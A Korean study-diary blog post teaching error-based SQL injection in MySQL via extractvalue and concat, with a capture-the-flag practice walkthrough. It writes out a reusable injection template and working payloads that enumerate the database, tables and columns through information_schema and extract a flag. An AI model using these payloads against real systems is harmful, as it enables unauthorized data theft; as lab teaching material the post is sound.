데이터베이스 SQL 결과가 화면에 출력할 경우 UNION SELECT를 사용하면 데이터베이스에서 원하는 데이터를 select하여 데이터를 추출할 수 있었습니다.
이번 시간에 배울 것은 SQL 결과로 화면에 에러메시지를 출력할 경우 사용할 수 있는 SQL Inejction 방법입니다.
Error Based SQL Injection
왜?? 에러메시지가 화면에 출력될까요?
보통 개발하는 과정에서 개발자가 어디서 에러가 났는지 확인하기 위해 에러메시지를 화면에 출력하게 만들어놓고 개발을 하다 개발을 완료하고 이 부분을 지우지 않고 그대로 서비스한다면 우리는 일부러 에러를 만들어 에러메시지를 화면에 출력하게 할 수 있습니다.
에러가 화면에 출력될 수 있다는 것은 알겠습니다.
하지만 우리는 모든 에러에서 Error Based SQLI를 사용할 수 있는 것은 아닙니다.
해당 에러가 SQL 에러이면서 로직 에러일 때 사용 가능합니다.
기본적으로 웹 서버가 작동하면서 생기는 에러가 아닌 SQL을 사용하다 생긴 에러이어야 합니다.
SQL 에러라 하더라도 문법 에러가 아닌 로직 에러일때 우리는 이 방법을 사용할 수 있습니다.
문법 에러는 위와 같이 마지막에 ' 이 남는 것처럼 SQL 문법에 오류가 있는 것입니다.
문법 에러가 발생하면 DBMS에서 SQL이 올바르지 않기때문에 실행자체를 하지 않기 때문에 우리는 어떠한 SQL 문을 입력해도 실행조차 되지않습니다.
로직에러는 해당 쿼리가 문법은 맞지만 SQL 실행 중 에러가 발생한 것입니다.
이제 Error Based SQLI 를 사용할 수 있는 상황까지 알았습니다.
어떻게?? 에러 출력메시지에 우리가 원하는 결과를 출력시킬 수 있을 까요??
(select '1234') = 1
예를 들어, 이러한 문구를 넣으면 문자열 '1234'과 숫자 1을 비교
에러 메시지: '1234'는 숫자가 아닙니다.
위의 예처럼 에러메시지에 에러난 부분을 출력하는 것을 사용합니다.
DBMS별로 에러를 발생시킬 수 있는 방법이 존재합니다.
제가 해볼것은 MySQL로 MySQL에서는 extractvalue라는 함수를 사용해서 에러를 발생시키는 것입니다.
extractvalue(xml, xml표현식)함수는 인자를 두개를 받으며 첫번째 인자는 xml, 두번째 인자는 xml 표현식을 넣어 xml에서 표현식에 해당하는 데이터를 가져오는 함수입니다.
- 간단하게 xml에서 원하는 데이터에 접근하기 위한 규칙이 있는데 이것이 xml 표현식입니다.
사용 예시: SELECT extractvalue('<a>test</a> <b>abcd</b>', '/a') => test
하지만 여기서 표현식 부분에 올바르지 않은 규칙을 입력하면 에러가 발생합니다.
xml표현식 부분이 ' : '로 시작하면 잘못된 표현식으로 에러가 납니다.
' : ' 뿐만 아니라 잘못된 표현식이면 되기 때문에 표현식이 아닌 문자를 넣으면 에러가 납니다.
!를 넣어도 에러가 발생하는 것을 확인 할 수 있습니다.
중요한건 여기서 에러메시지에 우리가 입력한 test 부분이 에러 메시지와 함께 화면에 출력되는 것입니다.
그럼 여기에 select 문을 넣어 우리가 원하는 데이터를 가져올 수 있습니다.
select 'test'로 select가 가능한지 확인해보니 가능합니다.
근데 처음 보는 단어가 보입니다...
concat은 문자들을 합쳐주는 함수입니다. 위 사진은 ':' 와 select 결과인 'test'를 합쳐주는 것입니다.
우리가 원하는 데이터를 가져오고 앞에 ':' 를 붙혀주기 위함입니다! (그래야 에러가 발생할 것이니..)
결과적으로 extractvalue('1', ':test') 가 되어 에러가 발생하며 우리가 select한 부분이 에러메시지에 포함되어 출력되었습니다.
' and extractvalue('1', concat(':', (SQL))) #
// SQL 부분에 원하는 데이터를 가져오는 SELECT 문 입력
우리는 이제 위와 같은 문자열에 SQL 에 원하는 데이터를 가져오는 SELECT문을 입력하면 원하는 결과를 에러메시지에 포함시켜 출력시킬 수 있습니다.
또한, 이러한 공격 format을 만들어주는 것이 중요합니다.
우리는 format 틀 안에서 SQL 부분에 원하는 SQL 문을 넣어주기만 하면 됩니다.
나중에 SQL 문이 길어지면 어디가 어딘지 헷갈릴 수 있기 때문입니다.
현재 속해있는 데이터베이스를 확인해 보겠습니다.
SELECT database() 를 사용하면 됐었죠??
select database()한 결과가 concat함수로 ':'와 합쳐져 extractvalue에 오류를 발생하여 출력되었습니다.
-> 이제 우리는 이 부분에 SQL을 작성하여 원하는 데이터를 추출할 수 있습니다.
이렇게 Error Based SQL Injection을 이용한 데이터 추출 방법을 알아보았습니다.
이 방법도 UNION SQLI 처럼 절차를 따라가면 쉽게 해결할 수 있습니다.
Error Based SQL Injection Process(절차)
1. SQL Inejction 포인트 찾기
2. 에러를 출력하는 함수를 사용하여 공격 format 만들기
3. DB 이름 확인
4. Table 이름 확인
5. 컬럼 이름 확인
6. 데이터 추출
실습
Flag를 찾아라!!
1. SQL Injection 포인트 찾기
normaltic' 을 입력하니 where id='normaltic'' 처럼 끝부분이 '' 이 되어 문법에러가 나며 에러메시지를 출력해줍니다.
여기에 에러메시지가 출력되는 것은 확인했습니다. 그럼 Error Based SQL Injection을 통해 데이터를 출력할 수 있을 것 같습니다.
하지만, 우리가 사용할 것은 문법 에러가 아닌 로직 에러이어야 합니다.
extractvalue함수를 사용하면 된다고 했습니다.
2. 공격 format 만들기
우리가 원하는데로 에러난 부분이 화면에 출력됩니다.
여기서 and를 넣어줘야 where id='normaltic' and extractvalue~ # 이 되어 문법 에러가 나지 않습니다.
만약 and를 빼면 조건 검색하는 부분이 문법에 맞지 않습니다.
우리가 원하는 것은 ':test'를 출력하는 것이 아닙니다. 데이터베이스에서 데이터를 추출하는 것이죠!!
일단 select가 가능한지도 알아보겠습니다.
미리 단계를 밟아가면서 확인해야 나중에 알고보니 select가 되지도 않는데 열심히 select해서 데이터를 찾고 있으면 허탕이니...
concat으로 select한 부분 앞에 :를 붙혀주고 실행하는 것은 이해하셨을 것입니다.
근데 이번엔 ':' 이 아니라 0x3a를 입력해주었는데 ':'를 컴퓨터가 이해하는 숫자로 표현하면 0x3a가 됩니다.
':' 로 해도 상관없고 0x3a를 넣어줘도 상관없습니다. (:를 사용 못 할 경우 사용해주면 됩니다.)
select도 정상적으로 작동합니다.
그럼 우리는 이러한 공격 format을 만들 수 있습니다.
// 공격 format
normaltic' and extractvalue('1', concat(0x3a, (__SQL__))) #
이제 SQL 부분에 우리가 원하는 데이터를 가져올 수 있는 SQL 쿼리문을 작성해주면 끝입니다.
3. DB 이름 확인
DB 이름을 확인하는 방법은?? select database()
만들어 놓은 format의 SQL 부분에 넣어주기만하면 에러메시지와 함께 출력시킬 수 있습니다.
normaltic' and extractvalue('1', concat(0x3a, (select database()))) #
데이터베이스 이름을 확인했습니다.
4. Table 이름 확인
테이블 이름 확인하는 방법은?? select table_name from information_schema.tables where table_schema='errSqli'
normaltic' and extractvalue('1', concat(0x3a, (select table_name
from information_schema.tables where table_schema='errSqli'))) #
공격 format을 만들어 놓으니 벌써 길어진 SQL 문을 해당 부분에 넣어주기만 하면 되니 헷갈리지 않습니다.
실제로 입력하려하면 어디가 어딘지 헷갈렸을 것 같습니다...
서브쿼리 결과가 1개 이상이라서 에러가 나는 것 같습니다.
우리는 한 행만 출력하는 방법을 알고 있습니다. 바로!!!! limit를 사용하는 것입니다.
normaltic' and extractvalue('1', concat(0x3a, (select table_name
from information_schema.tables where table_schema='errSqli' limit 0,1))) #
첫 행이 flagTable입니다. 아무래도 flag는 여기 있겠죠? 아니면 다른 테이블도 확인 해야합니다.
5. 컬럼 이름 확인
컬럼 이름 확인하는 방법은??? select column_name from information_schema.columns where table_name='flagTable'
똑같이 공격 포맷의 SQL 에 넣어주면 됩니다. 그리고 limit도 써줘야겠죠
normaltic' and extractvalue('1', concat(0x3a, (select column_name
from information_schema.columns where table_name='flagTable' limit 0,1))) #
첫 행은 idx 컬럼이기에 limit 1,1로 바꿔주고 확인하니 flag 컬럼이 있습니다.
이제 끝났습니다. flagTable의 flag 컬럼에 있는 데이터를 읽어주면 됩니다.
6. 데이터 추출
select flag from flagTable 하면 데이터를 가져올 수 있을 것입니다. 이번에도 limit로 한 행만 가져와야합니다.
normaltic' and extractvalue('1', concat(0x3a, (select flag from flagTable limit 0,1))) #
성공적으로 원하는 데이터를 가져왔습니다.
Error Based SQL Injection도 이렇게 실습과 함께 알아보았습니다.
앞에 했던 UNION 을 사용한 SQL Injection 과 비슷하여 쉽게 이해할 수 있었습니다.
다음엔 이렇게 화면에 데이터가 출력되는 경우가 아닐때 사용할 수 있는 Blind SQL Injection을 알아보겠습니다.
'웹 해킹' 카테고리의 다른 글
웹 해킹 공부 일기장 3 - 과제 (챌린지1) (0) | 2023.12.08 |
---|---|
웹 해킹 공부 일기장 3 - 2 (Blind SQL Injection) (0) | 2023.12.07 |
웹 해킹 공부 일기장 2 - 과제 (챌린지 2) (2) | 2023.12.02 |
웹 해킹 공부 일기장 2 - 과제 (챌린지1) (2) | 2023.12.01 |
웹 해킹 공부 일기장 2 - 과제 (0) | 2023.12.01 |